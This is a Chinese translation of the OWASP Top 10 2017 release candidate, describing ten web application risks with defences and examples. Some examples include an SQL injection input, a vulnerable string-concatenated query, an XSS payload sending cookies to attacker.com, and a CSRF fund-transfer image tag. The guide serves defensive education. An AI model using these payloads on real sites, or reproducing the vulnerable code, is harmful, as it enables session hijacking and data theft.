OWASP Top 10–2017
该版本的OWASP Top 10标志着该项目第十四年提高应用安全风险重要性的意识。该版本遵循2013年更新,2013版的Top 10主要变化是添加了2013-A9使用含有已知漏洞的组件。我们很高兴看到,自2013版Top 10以来,随着自由和商业工具的整体生态系统出现,帮助解决这个问题,因为开源组件的使用几乎在每种编程语言中都在继续迅速扩大。数据还表明,使用已知的易受攻击的组件仍然很普遍,但并不像以前那么普遍。我们认为,针对这个问题的关注意识在2013版Top 10出现后已经导致了这两个变化。
我们也注意到,自从CSRF被引入2007版的Top 10项目以来,它已经从广泛的脆弱性下降到不常见的脆弱性。许多框架包括自动的CSRF防御,这大大促进了普遍性的下降,以及开发人员对于防范这种攻击的意识提高。
关于这个OWASP Top 10 – 2017候选发布版的建设性意见可以通过电子邮件到[email protected]。私人评论可以发送到[email protected]。欢迎发送匿名反馈。所有非私人反馈将在最终公开发布的同时进行编目和发布。我们建议您对Top 10列出的项目进行更改的评论应包括Top 10个项目的完整列表,以及更改的理由,所有反馈都应显示具体的相关页面和部分。
在OWASP Top 10 - 2017年最终出版之后,OWASP社区的协作工作将持续更新支持文档,包括OWASP Wiki,OWASP Develop’s Guide,OWASP Test Guide,OWASP Code Review Guide和OWASP Prevention Cheat Sheets,以及将Top 10翻译成许多不同的语言。
您的反馈对于OWASP Top 10项目和所有其他OWASP项目的持续成功至关重要。感谢大家竭尽全力提高全世界的软件的安全性。
Jeff Williams, OWASP Top 10项目创始者和共同作者
Dave Wichers, OWASP Top 10共同作者和项目负责人
Top 10项目的目标是通过找出企业组织所面临的最严重的风险来提高人们对应用程序安全的关注度。Top 10项目被众多标准、书籍、工具和相关组织引用,包括 MITRE、PCI DSS、DISA、 FTC等等。OWASP Top 10最初于2003 年发布,并于2004年和2007年相继做了少许的修改更新。2010版做了修改以对风险进行排序,而不仅仅对于流行程度。这种模式在2013版和最新的2017版得到了延续。
我们鼓励各位通过使用此Top 10帮助您的企业组织了 解应用程序安全。开发人员可以从其他企业组织的错误 中学习到经验。而执行人员需要开始思考如何管理软件 应用程序在企业内部产生的风险。
从长远来看,我们鼓励您创建一个与您的文化和技 术都兼容的应用安全计划。这些计划可以是任意形式和 大小的,您还应该试图避免做过程模型中规定的每件事。 相反,利用您组织的现有优势并衡量什么对您有用。
我们希望OWASP Top 10能有助于您的应用程序安 全。如果有任何疑问、评论以及想法,请不要犹豫,立即通过公开的[email protected]或者私人 的[email protected],与我们取得联系。
• 应用安全工具和标准
• 关于应用安全测试、安全代码开发和安全代码审查方面的全面书籍
• 标准的安全控制和安全库
• 全球各地分会
• 尖端研究
• 专业的全球会议
• 邮件列表
更多信息,请访问:http://www.owasp.org
所有的OWASP工具、文档、论坛和全球各地分会都是免费的,并对所有致力于改进应用程序安全的人士开放。我们主张将应用程序安全问题看作是人、过程和技术的问题,因为提供应用程序安全最有效的方法是在这些方面提升。
OWASP是一个新型组织。没有商业压力使得我们能够提供无偏见、实用、低成本的应用安全方面的信息。尽管OWASP支持合理使用商业的安全技术,但是OWASP不隶属于任何技术公司。和许多开源软件项目一样,OWASP以一种协作、开放的方式制作了许多不同种类的材料。
OWASP基金会是确保项目长期成功的非营利性组织。几乎每一个与OWASP相关的人都是一名志愿者,这包括了OWASP董事会、全球委员会、全球各地分会会长、项目领导和项目成员。我们用捐款和基础设备来支持创新的安全研究。
我们期待您的加入。
本文档的发布基于Creative Commons Attribution ShareAlike 3.0 license。
任何重复使用或发行,都必须向他人澄清该文档的许可条款。
2017年版的OWASP Top 10文档基于来自专业的应用安全公司的11个大型数据库,其中包括:8家咨询公司,3家产品提供商。数据涵盖了来自上百家组织上千个应 用,超过50,000个真实环境中的漏洞和APIs。Top 10根据所有这些相关数据挑选和排序,并与可利用性、可检测性和影响程度的一致评估相结合。
OWASP Top 10的主要目的是教育开发人员,设计师,架构师,经理和组织,了解最重要的Web应用程序安全漏洞的后果。Top 10提供了防范这些高风险问题领域的基本技术,并为您提供了从这里走到哪里的指导。
不断修改:此Top 10将不断更新。即使您不改变应用程序的任何一行代码,您的应用程序可能已经存在从来没有被人发现过的漏洞。要了解更多信息,请查看Top 10结尾的建议部分,“开发人员、测试人员和企业组织下一步做什么”。
正面思考:当您已经做好准备停止查找漏洞并集中
精力建立强大的应用程序安全控制时,OWASP已经制作了《应用程序安全验证标准(ASVS)》指导企业组织和应用程序审查者如何去进行验证。
明智使用工具:安全漏洞可能很复杂并且藏匿在代码行的深处。查找并消除这些漏洞的最根本有效的方法就是利用专家的经验以及好的工具。
其他:在您的组织中,重点关注让安全成为组织文化的一部分。更多信息,请参见《开放软件保证成熟度模型(SAMM)》和《Rugged Handbook》。
• Aspect Security • AsTech Consulting
• Branding Brand • Contrast Security,
• EdgeScan • iBLISS
• Minded Security • Paladion Networks,
• Softtek •Vantage Point
• Veracode
第一次我们将向Top 10项目提供的所有数据公开,并且公开了完整的贡献者名单。
我们还要感谢为Top 10本版本做出显著内容贡献和花时间审阅的专家们:
• Neil Smithline – 提供了Top 10的Wiki版,并提供了宝贵反馈意见。
最后,我们感谢所有的翻译人员将Top 10翻译成不同的语言,帮助让OWASP Top 10对全世界的人们都可以更容易获得信息。
1) 我们合并了2013-A4“不安全的直接对象引用”和2013-A7“功能级访问控制功能缺失”到2017-A4“无效的访问控制”。
o 2007年,我们将失效的访问控制分为两类,以便更多地关注访问控制问题(数据和功能)的每一方面。我们不再觉得这是必要的,所以我们将它
们合并在一起。
2) 我们增加了2017-A7:攻击检测与防范不足
+ 多年来,我们考虑增加对自动攻击的防御力不足。基于数据调用,我们看到大多数应用程序和API缺乏检测与防范和响应手动或者自动化攻击的基本功能应用程序和APIs所有者还需要能够快速部署补丁以保护和防止攻击。
3) 我们增加了2017-A10: 未受保护的API
+ 现代应用程序和API通常涉及丰富的客户端应用程序,例如浏览器中的JavaScript和移动端应用程序,连接到某种API(SOAP / XML,REST /JSON,RPC,GWT等)。这些API通常是不受保护的,并且包含许多漏洞。我们将其包括在这里,以帮助组织专注于这一主要的新兴风险。
4) 我们去掉了2013-A10:未验证的重定向和转发
– 2010年,我们增加了这一类别,以提高对这个问题的认识。然而,数据显示,这个问题并不像预期那么普遍。所以在进入top 10的最后两个版本之后,这一次并没有削减。
注意:T10围绕主要风险区域进行整理,而不是密封,不重叠或严格的分类。其中一些是围绕着攻击者整理的,一些是脆弱性,一些是防御,一些是资产。组织应考虑制定措施,以消除这些问题。
每种路径方法都代表了一种风险, 这些风险可能会,也有可能不会严重到值得您关注。
Top 10中风险的名称,有的来自于攻击的类型,有的来自于漏洞,而有的来自于所造成的影响。我们选择了最能准确反应出风险名称,并在可能的情况下,同时使用最为常用的专业名词来得到最高的关注度。
• OWASP Risk Rating Methodology
• Article on Threat/Risk Modeling
其他资料
• FAIR Information Risk Framework
• Microsoft Threat Modeling Tool
检查应用程序是否安全使用解释器的最快最有效的方法 是代码审查。代码分析工具能帮助安全分析者找到使用解 释器的代码并追踪应用的数据流。渗透测试者通过创建攻 击的方法来确认这些漏洞。
可以执行应用程序的自动动态扫描器能够提供一些信息, 帮助确认一些可利用的注入漏洞是否存在。然而,扫描器 并非总能达到解释器,所以不容易检测到一个攻击是否成 功。不恰当的错误处理使得注入漏洞更容易被发现。
1.最佳选择是使用安全的API,完全避免使用解释器或提 供参数化界面的API。但要注意有些参数化的API,比 如存储过程(stored procedures),如果使用不当,仍然可以引入注入漏洞。
2.如果没法使用一个参数化的API,那么你应该使用解释器具体的escape语法来避免特殊字符。OWASP的ESAPI 就有一些escape例程。
3.使用正面的或“白名单”的具有恰当的规范化的输入验证方法同样会有助于防止注入攻击。但由于很多应用在输入中需要特殊字符,这一方法不是完整的防护方法。 OWASP的ESAPI中包含一个白名单输入验证例程的扩展库。
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
案例 #2: :同样的,框架应用的盲目信任,仍然可能导致查 询语句的漏洞。(例如:Hibernate查询语言(HQL)):
Query HQLQuery = session.createQuery("FROM accounts
WHERE custID='" + request.getParameter("id") + "'");
在这两个案例中,攻击者在浏览器中将“id”参数的值修改 成 ’ or’1’=’1。如:
http://example.com/app/accountView?id=' or '1'='1
这样查询语句的意义就变成了从accounts表中返回所有的 记录。更危险的攻击可能导致数据被篡改甚至是存储过程 被调用。
• OWASP SQL Injection Prevention Cheat Sheet
• OWASP Query Parameterization Cheat Sheet
• OWASP Command Injection Article
• OWASP XXE Prevention Cheat Sheet
• OWASP Testing Guide: Chapter on SQL Injection Testing
其他资料
• CWE Entry 77 on Command Injection
• CWE Entry 89 on SQL Injection
• CWE Entry 564 on Hibernate Injection
• CWE Entry 611 on Improper Restriction of XXE
• CWE Entry 917 on Expression Language Injection
1.用户身份验证凭证没有使用哈希或加密保护。 详见A6。
2.认证凭证可猜测,或者能够通过薄弱的的帐户管理功能(例如账户创建、密码修改、密码恢复, 弱会话ID)重写。
3.会话ID暴露在URL里(例如, URL重写)。
4.会话ID容易受到会话固定(session fixation) 的攻击。
5.会话ID没有超时限制,或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效。
6.成功注册后,会话ID没有轮转。
7.密码、会话ID和其他认证凭据使用未加密连接传输。详见A6。
更多详情请见ASVS要求部分V2和V3 。
1.一套单一的强大的认证和会话管理控制系统。这套控 制系统应:
a) 满足OWASP的应用程序安全验证标准(ASVS) 中V2(认证)和V3(会话管理)中制定的所 有认证和会话管 理的要求。
b) 具有简单的开发界面ESAPI认证器和用户 API 是可以仿照、使用或扩展的好范例。
2. 企业同样也要做出巨大努力来避免跨站漏洞,因为这 一漏洞可以用来盗窃用户会话ID。详见A3。
http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
该网站一个经过认证的用户希望让他朋友知道这个机票打 折信息。他将上面链接通过邮件发给他朋友们,并不知道 自己已经泄漏了自己的会话ID。 当他的朋友们使用上面的 链接时,他们将会使用他的会话和信用卡。
案例#2:应用程序超时设置不当。 用户使用公共计算机 访问网站。离开时,该用户没有点击退出,而是直接关闭 浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。
案例#3:内部或外部攻击者进入系统的密码数据库. 存储 在数据库中的用户密码没有被加密, 所有用户的密码都被 攻击者获得。
完整的参考资料,见 ASVS requirements areas for Authentication (V2) and Session Management (V3).
• OWASP Authentication Cheat Sheet
• OWASP Forgot Password Cheat Sheet
• OWASP Password Storage Cheat Sheet
• OWASP Session Management Cheat Sheet
• OWASP Testing Guide: Chapter on Authentication
其他
• CWE Entry 287 on Improper Authentication
• CWE Entry 384 on Session Fixation
自动化工具能够自动找到一些跨站脚本漏洞。然而,每一个应用程序使用不同的方式生成输出页面,并且使用不同 的浏览器端解释器,例如JavaScript, ActiveX, Flash,和 Silverlight,这使得自动检测变得很困难。因此,要想达到 全面覆盖,必须使用一种结合的方式,在自动检测的基础 上,同时采用人工代码审核和手动渗透测试。
类似AJAX的web2.0技术使得跨站脚本漏洞更难通过自动工具检测到。
1.为了避免 Server XSS,最好的办法是根据数据将要置于的HTML上下文(包括 主体、属性、JavaScript、CSS或URL)对所有的不可信 数据进行恰当的转(escape)。更多关于数据转义技术的信息见OWASP DOM XSS Prevention Cheat Sheet。
2.为了避免Client XSS,首选方案是避免将不受信任的数据传递给可生成活动内容JavaScript和其他浏览器API。 当无法避免这种情况时,类似的敏感转义技术可以应用于浏览器API,如基于OWASP DOM based XSS Prevention Cheat Sheet 。
3.更多内容请参考OWASP 的 AntiSamy 或者 Java HTML Sanitizer项目。
4.考虑使用内容安全策略(CSP)来抵御整个网站的跨 站脚本攻击。
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC")+ "'>";
攻击者在浏览器中修改“CC” 参数为如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
这导致受害者的会话ID被发送到攻击者的网站,使得攻击 者能够劫持用户当前会话。
请注意攻击者同样能使用跨站脚本攻破应用程序可能使 用的任何跨站请求伪造(CSRF)防御机制。CSRF的详细情 况见A8
• OWASP Types of Cross-Site Scripting
• OWASP XSS Prevention Cheat Sheet
• OWASP DOM based XSS Prevention Cheat Sheet
• OWASP Java Encoder API
• ASVS: Output Encoding/Escaping Requirements (V6)
• OWASP AntiSamy: Sanitization Library
• Testing Guide: 1st 3 Chapters on Data Validation Testing
• OWASP Code Review Guide: Chapter on XSS Review
• OWASP XSS Filter Evasion Cheat Sheet
其他资料
• CWE Entry 79 on Cross-Site Scripting
1.对于数据引用,应用程序是否通过使用映射表或访问控制检查确保用户获得授权,以确保用户对该数据进行授权
2.对于非公共功能请求,应用程序是否确保用户进行了身份验证,并具有使用该功能所需的角色或权限?
应用程序的代码审查可以验证这些控件是否正确实施,并且在任何地方都需要进行审计。 手动测试对于识别访问控制缺陷也是有效的。 自动化工具通常不会找到这样的缺陷,因为他们无法识别需要什么保护或什么是安全的或不安全的。
1.检查访问。任何来自不可信源的直接对象引用都必须 通过访问控制检测,确保该用户对请求的对象有访问 权限。
2.使用基于用户或者会话的间接对象引用。这样能防止 攻击者直接攻击未授权资源。例如,一个下拉列表包 含6个授权给当前用户的资源,它可以使用数字1-6来 指示哪个是用户选择的值,而不是使用资源的数据库 关键字来表示。在服务器端,应用程序需要将每个用 户的间接引用映射到实际的数据库关键字。OWASP的 ESAPI包含了两种序列和随机访问引用映射,开发人员 可以用来消除直接对象引用。
3.自动验证 。利用自动化来验证正确的授权部署。 这要成为习惯。
pstmt.setString(1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery();
攻击者能轻易在浏览器将 “acct” 参数修改成他所想要的 任何账户号码。如果应用程序没有进行恰当的验证,攻击 者就能访问任何用户的账户,而不仅仅是该目标用户的账 户。
http://example.com/app/accountInfo?acct=notmyacct
案例 #2:攻击者只是简单的强制浏览目标URL。 还需要管理员权限才能访问的管理页面。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
如果未经身份验证的用户可以访问任何一个页面,这是一个缺陷。 如果非管理员可以访问管理页面,这也是一个缺陷。
• OWASP Top 10-2007 on Insecure Direct Object References
• OWASP Top 10-2007 on Function Level Access Control
• ESAPI Access Reference Map API
• ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )
For additional access control requirements, see the ASVS requirements area for Access Control (V4).
其他资料
• CWE Entry 285 on Improper Access Control (Authorization)
• CWE Entry 639 on Insecure Direct Object References
• CWE Entry 22 on Path Traversal (一个直接对象引用攻击的例子)
1.是否有软件没有被及时更新?这包括操作系统、Web/ 应用服务器、数据库管理系统、应用程序和其它所有 的代码库文件(详见2017-A9)。
2.是否使用或安装了不必要的功能(例如,端口、服务、 网页、帐户、权限)?
3.默认帐户的密码是否仍然可用或没有更改?
4.你的错误处理设置是否防止堆栈跟踪和其他含有大量 信息的错误消息被泄露?
5.你的开发框架(比如:Struts、Spring、ASP.NET)和库 文件中的安全设置是否理解正确并配置恰当?
缺少一个协定的、可重复的应用程序安全配置的过程,系 统将处于高风险中。
1.一个可以快速且易于部署在另一个锁定环境的可重复 的加固过程。开发、质量保证和生产环境都应该配置 相同(每个环境中使用不同的密码)。这个过程应该 是自动化的,以尽量减少安装一个新安全环境的耗费.
2. 一个能及时了解并部署每个已部署环境的所有最新软 件更新和补丁的过程。这需要包括通常被忽略的所有 代码的库文件(详见2017-A9 )。
3.一个能在组件之间提供有效的分离和安全性的强大应 用程序架构。
4.一个自动化过程来验证在所有环境中配置和设置是否正确。
案例 #2:目录列表在你的服务器上未被禁用。攻击者发 现只需列出目录,她就可以找到你服务器上的任意文件。 攻击者找到并下载所有已编译的Java类,她通过反编译获 得了所有你的自定义代码。然后,她在你的应用程序中找 到一个访问控制的严重漏洞。
案例 #3:应用服务器配置允许堆栈跟踪返回给用户,这 样就暴露了潜在的漏洞,例如已知易受攻击的框架版本。
案例 #4:应用服务器自带的示例应用程序没有从您的生 产服务器中删除。该示例应用有已知安全漏洞,攻击者可 以利用这些漏洞破坏您的服务器。
• OWASP Development Guide: Chapter on Configuration
• OWASP Code Review Guide: Chapter on Error Handling
• OWASP Testing Guide: Configuration Management
• OWASP Testing Guide: Testing for Error Codes
• OWASP Top 10 2004 - Insecure Configuration Management
为了更详尽的了解该领域的需求信息,请参见 ASVS requirements areas for Security Configuration (V11 and V19).
其他资料
• NIST Guide to General Server Hardening
• CWE Entry 2 on Environmental Security Flaws
• CIS Security Configuration Guides/Benchmarks
1.当这些数据被长期存储的时候,无论存储在哪里,它 们是否都被加密,特别是对这些数据的备份?
2.无论内部数据还是外部数据,传输时是否是明文传输? 在互联网中传输明文数据是非常危险的。
3.是否还在使用任何旧的或脆弱的加密算法?
4.加密密钥的生成是否是脆弱的,或者缺少恰当的密钥 管理或缺少密钥回转?
5.当浏览器接收或发送敏感数据时,是否有浏览器安全 指令或头文件丢失?
还有更多···关于在这一领域应该避免的更多问题请参见ASVS areas Crypto (V7), Data Prot (V9), and SSL/TLS (V10).
1.预测一些威胁(比如内部攻击和外部用户),加密这 些数据的存储以确保免受这些威胁。
2.对于没必要存放的、重要的敏感数据,应当尽快清除。
3.确保使用了合适的强大的标准算法和强大的密匙,并 且密匙管理到位。可参考FIPS 140 validated cryptographic modules.
4.确保使用密码专用算法存储密码,如:bcrypt, PBKDF2, 或者 scrypt.
5.禁用自动完成防止敏感数据收集,禁用包含敏感数据 的缓存页面。
案例 #2: 一个网站上所有需要身份验证的网页都没有使 用SSL。攻击者只需监控网络数据流(比如一个开放的无 线网络或其社区的有线网络),并窃取一个已验证的受害 者的会话cookie。然后,攻击者利用这个cookie执行重放 攻击并接管用户的会话从而访问用户的隐私数据。
案例 #3:密码数据库使用unsalted的哈希算法去存储每个 人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些unsalted哈希的密码通过彩虹表暴力破解方式破 解。
-为了更详尽的了解该领域的相关需求和因避免的相关问题,请参见ASVS req’ts on Cryptography (V7), Data Protection (V9) 和 Communications Security (V10)
• OWASP Cryptographic Storage Cheat Sheet
• OWASP Password Storage Cheat Sheet
• OWASP Transport Layer Protection Cheat Sheet
• OWASP Testing Guide: Chapter on SSL/TLS Testing
其他资料
• CWE Entry 310 on Cryptographic Issues
• CWE Entry 312 on Cleartext Storage of Sensitive Information
• CWE Entry 319 on Cleartext Transmission of Sensitive Information
• CWE Entry 326 on Weak Encryption
如果攻击检测和响应不到位应该是非常明显的。 只需尝试手动攻击或针对应用程序运行扫描器。 应用程序或API应该识别攻击,阻止任何可行的攻击,并识别收集攻击者的细节和攻击的特征。 如果在发现关键漏洞时无法快速推出虚拟和/或实际补丁,则会受到攻击。
一定要了解针对攻击的防范措施所能覆盖的攻击类型,不应该只是XSS和SQL注入。 你可以通过如 WAFs, RASP, 和 OWASP AppSensor 等技术来检测并阻止攻击。
1.检测攻击 。有没有发生合法用户不可能产生(例如,正常用户使用客户端无法生成的输入)的情况? 应用程序是否以普通用户永远不会做的方式运行(例如,请求频率太高,非典型输入,异常使用模式,重复请求)?
2.对攻击的响应。日志和通知对及时响应至关重要。考虑是否自动阻止请求,并确定阻止的IP地址或IP段。 考虑禁用或监控不良行为的用户帐户。
3.快速修复。如果您的开发或运维团队无法在一天内推出关键修补程序,请部署一个可以分析HTTP流量,数据流和/或代码执行的虚拟补丁,并防止漏洞被利用。
案例 #2:熟练的攻击者使用仔细挖掘潜在的漏洞,最终确认了一个难以发现的缺陷。
虽然难以检测,但这种攻击仍然包含正常用户永远不会发送的请求,例如UI不允许的输入。跟踪这个攻击者可能需要建立一个时间表现恶意的案例。
案例 #3:攻击者开始利用应用程序中的一个漏洞,但您当前的攻击保护无法阻止。
您可以快速部署一个真正的或虚拟的补丁来阻止对此漏洞的持续利用?
• OWASP Article on Intrusion Detection
• OWASP AppSensor
• OWASP Automated Threats Project
• OWASP Credential Stuffing Cheat Sheet
• OWASP Virtual Patching Cheat Sheet
• OWASP Mod Security Core Ruleset
其他资料
• WASC Article on Insufficient Anti-automation
• CWE Entry 778 - Insufficient Logging
• CWE Entry 799 - Improper Control of Interaction Frequency
重点关注那些调用能够改变状态功能的链接和表格,因为 他们是跨站请求伪造攻击的最重要的目标。由于多步交易并不具备内在的防攻击能力,因此我们需要 检测这些交易。还要注意,服务器端请求伪造(SSRF)也可以通过欺骗应用和API来生成任意HTTP请求。
请注意:会话cookie、源IP地址和其他浏览器自动发送的 信息不能作为防攻击令牌,因为这些信息已经包含在伪造 的请求中。 OWASP的CSRF测试工具有助于生成测试案例,可用于展示 跨站请求伪造漏洞的危害。
否则,阻止CSRF通常需要在每个HTTP请求中包含不可预测的令牌。并且这种令牌在每个用户会话中都是唯一的。
1.最好的方法是将独有的令牌包含在一个隐藏字段中。 这将使得该令牌通过HTTP请求体发送,避免其包含在 URL中从而被暴露出来。
2.该独有令牌同样可以包含在URL中或作为一个URL参数。 但是这种方法的巨大风险在于:URL会暴露给攻击者, 这样秘密令牌也会被泄漏。
3.考虑在所有Cookie中使用“SameSite = strict”标志,这在浏览器中越来越受到支持。
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
因此,攻击者构建一个请求,用于将受害用户账户中的现 金转移到自己账户。然后攻击者在其控制的多个网站的图 片请求或iframe中嵌入这种攻击。
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />
如果受害用户通过example.com认证后访问任何一个攻击 者的网站,伪造的请求将自动包含用户的会话信息,授权 执行攻击者的请求。
• OWASP CSRF Article
• OWASP CSRF Prevention Cheat Sheet
• OWASP CSRFGuard - Java CSRF Defense Tool
• OWASP CSRFProtector - PHP and Apache CSRF Defense Tool
• ESAPI HTTPUtilities Class with AntiCSRF Tokens
• OWASP Testing Guide: Chapter on CSRF Testing
• OWASP CSRFTester - CSRF Testing Tool
其他资料
• CWE Entry 352 on CSRF
• Wikipedia article on CSRF
判断您是否易于受到这类攻击,要求您不但要不停地搜索 这些数据库,还要关注大量的邮件列表和可能包含漏洞发 布的公告信息。如果您使用的组件之一存在漏洞,您应该 仔细评估该漏洞是否给您的业务也带来了缺陷。此评估可 以通过检查您的代码使用该组件的部分,以及该缺陷可能 导致的您关心的结果来完成。
1.持续的清点整理客户端和服务器端所使用的组件和与组件存在依赖关系的组件的版本等信息
2.连续监控如NVD等披露的的组件中的漏洞是否出现在您的应用中。 使用软件结合分析工具自动化进行这个过程。
3.分析库文件以确保在进行更改之前在运行时实际调用了它,因为绝大多数组件都不会被加载或调用。
4.决定是升级组件(如果需要,重写应用程序以匹配)还是部署一个分析HTTP流量,数据流或代码执行的虚拟补丁,并防止漏洞被利用。
•Apache CXF认证绕过 —未能提供身份令牌的情况下, 攻击者可以以最高权限调用任意的web服务。 (Apache CXF 是一个服务框架,不要与Apache应用服 务器混淆。)
•Spring远程代码执行—滥用Spring中语言表达式的实 现允许攻击者执行任意代码,有效的接管服务器。
每个使用上述两个任意一个库的应用程序,都是易于受到 攻击的。因为两个组件都会被应用用户直接访问。其他的 漏洞库,在应用程序中使用的越深入,可能越难被利用。
• OWASP Dependency Check (for Java and .NET libraries)
• OWASP Virtual Patching Best Practices
其他资料
• The Unfortunate Reality of Insecure Libraries
• MITRE Common Vulnerabilities and Exposures (CVE) search
• National Vulnerability Database (NVD)
• Retire.js for detecting known vulnerable JavaScript libraries
• Node Libraries Security Advisories
• Ruby Libraries Security Advisory Database and Tools
然而,由于API被程序(而不是人类)使用,所以他们经常缺少UI,并且还使用复杂的协议和复杂的数据结构。 这些因素可以使安全测试变得困难。 使用广泛使用的格式可以帮助,例如Swagger(OpenAPI),REST,JSON和XML。 一些框架,如GWT和一些RPC实现使用自定义格式。 一些应用程序和API创建自己的协议和数据格式,如WebSockets。 API的广泛性和复杂性使得难以进行有效的自动化安全测试,这可能导致虚假的安全感。
最终,知道您的API是否安全意味着需要仔细选择一种攻击策略来测试所有重要的防御。
1.确保您已经保护客户端和您的API之间的通信。
2.确保您的API具有强大的身份验证方案,并且所有凭据,密钥和令牌已被保护。
3.确保您的请求使用的任何数据格式,解析器都被配置并强化到可以防止此类攻击。
4.实现访问控制方案,保护API不被不正确地调用,包括未经授权的功能和数据引用.
5.防止所有形式的注入,即便它们适用于普通应用,但是这些攻击对API同样可行。
确保您的安全分析和测试涵盖所有API,您的工具可以有效地发现和分析它们。
案例 #2:想象一下由网络启动公共API,用于自动发送短信。 API接受包含“transactionid”字段的JSON消息。 API将此“transactionid”值解析为字符串,并将其连接到SQL查询中,而不需要转义或参数化它。 您可以看到API与任何其他类型的应用程序一样容易受到SQL注入。
在任何一种情况下,供应商可能不提供使用这些服务的Web UI,从而使安全测试更加困难。
• OWASP REST Security Cheat Sheet
• OWASP Web Service Security Cheat Sheet
其他资料
• Increasing Importance of APIs in Web Development
• Tracking the Growth of the API Economy
• The API Centric Future • The Growth of the API
• What Do You Mean My Security Tools Don’t Work on APIs?!!
• State of API Security
为了帮助企业组织和开发人员以最低成本降低应用程序的安全风险,OWASP制作了许多免费和开源的资源。 您可以使 用这些资源来解决您企业组织的应用程序安全问题。以下内容是OWASP提供的为帮助企业组织创建安全的web应用程序 的一些资源。在下一页中,我们将展示其他可以帮助企业组织验证web应用程序安全性的OWASP资源。
现代风险迅速发展,所以每年对应用程序进行一次扫描或渗透测试日子已经过去了。现代软件开发需要在整个软件开发生命周期中进行持续的应用程序安全测试。 寻求通过自动化安全测试来增强现有开发流水线,而且开发速度不会降低。 无论您选择哪种方法,都可以考虑定期测试,分类,修复,重新测试和重新部署单个应用程序的成本乘以应用程序组合的大小。
Top 10 的风险评级方法是基于《OWASP风险评级方法》。对于Top 10中每一项,我们通过查看每个常见漏洞一般情 况下的可能性因素和影响因素,评估了每个漏洞对于典型的Web应用程序造成的典型风险,然后根据漏洞给应用程序带 来的风险程度的不同来对Top 10进行分级。随着事件的变化,这些因素将随着每个新的十大版本的更新。
《OWASP风险评级方法》定义了许多用于计算漏洞风险等级的因素。但是,Top 10应该讨论普遍性,而不是在真实的 应用程序中讨论具体的漏洞的风险。因此,我们无法像系统拥有者那样精确计算应用程序中的风险高低。我们也不知道 您的应用程序和数据有多重要、您的威胁代理是什么、或是您的系统是如何架构和如何操作的。
对于每一个漏洞,我们的方法包含三种可能性因素(普遍性、可检测性和可利用性)和一个影响因素(技术影响)。 漏洞的普遍性我们通常无需计算。许多不同的组织一直在提供普遍性的数据给我们(请参考第3页致谢中的内容)。我们 取了这些数据的平均数得到了根据普遍性排序的10种最可能存在的漏洞。然后将这些数据和其他两个可能性因素结合 (可检测性和可利用性),用于计算每个漏洞的可能性等级。然后用每个漏洞的可能性等级乘以我们估计的每个漏洞的 平均技术影响,从而得到了Top 10列表中每一项的总的风险等级。
值得注意的是这个方法既没有考虑威胁代理的可能性,也没有考虑任何与您的特定应用程序相关的技术细节。这些因 素都可以极大影响攻击者发现和利用某个漏洞的整个可能性。这个等级同样没有将对您的业务的实际影响考虑进去。您 的企业组织需要自己确定企业组织可以承受的应用安全风险有多大。OWASP Top 10的目的并不是替您做这一风险分析。
下面举例说明A3: 跨站脚本的风险计算方法。注意到XSS的风险非常普遍,以致于它被唯一赋予了“非常广泛”的普遍 性值。其他所有风险值的范围从广泛到少见(值从1到3)。
• 点击劫持 (CAPEC-103)
• 拒绝服务 (CWE-400) (Was 2004 Top 10 – Entry 2004-A9)
• 反序列化(CWE-502) For defenses, see: OWASP Deserialization Cheat Sheet
• 表达式语言注入 (CWE-917)
• 信息泄露 (CWE-209) 和 不恰当的错误处理 (CWE-388) (Was part of 2007 Top 10 – Entry 2007-A6)
• 链接第三方内容(CWE-829)
• 恶意文件执行 (CWE-434) (Was 2007 Top 10 – Entry 2007-A3)
• 质量分配 (CWE-915)
• 服务器端请求伪造 (SSRF) (CWE-918)
• 未验证的转发和重定向(CWE-601) (Was 2013 Top 10 – Entry 2013-A10)
• 用户隐私(CWE-359)
更多精彩内容请下载完整版查看: http://www.0xby.com/OWASPTop102017v1.3.pdf
原文链接:https://mp.weixin.qq.com/s?__biz=MzA3Mzk1MDk1NA==&mid=2651903700&idx=1&sn=48a9bf79e45dc37e871e55fd4e4ca090&chksm=84e34551b394cc47b45c75bcdf979ec40cd6613a756dab972d4af5ad0881bbc5c4156e38d6c4&mpshare=1&scene=1&srcid=0414r7spzSZEqUIGEQHCrbz1&pass_ticket=IR1h7S1g68kvnDE18U4nCbJKPEoE%2Bp3wbjGYsxO6FhfgeY4IsnEckf1I8FTofHuf#rd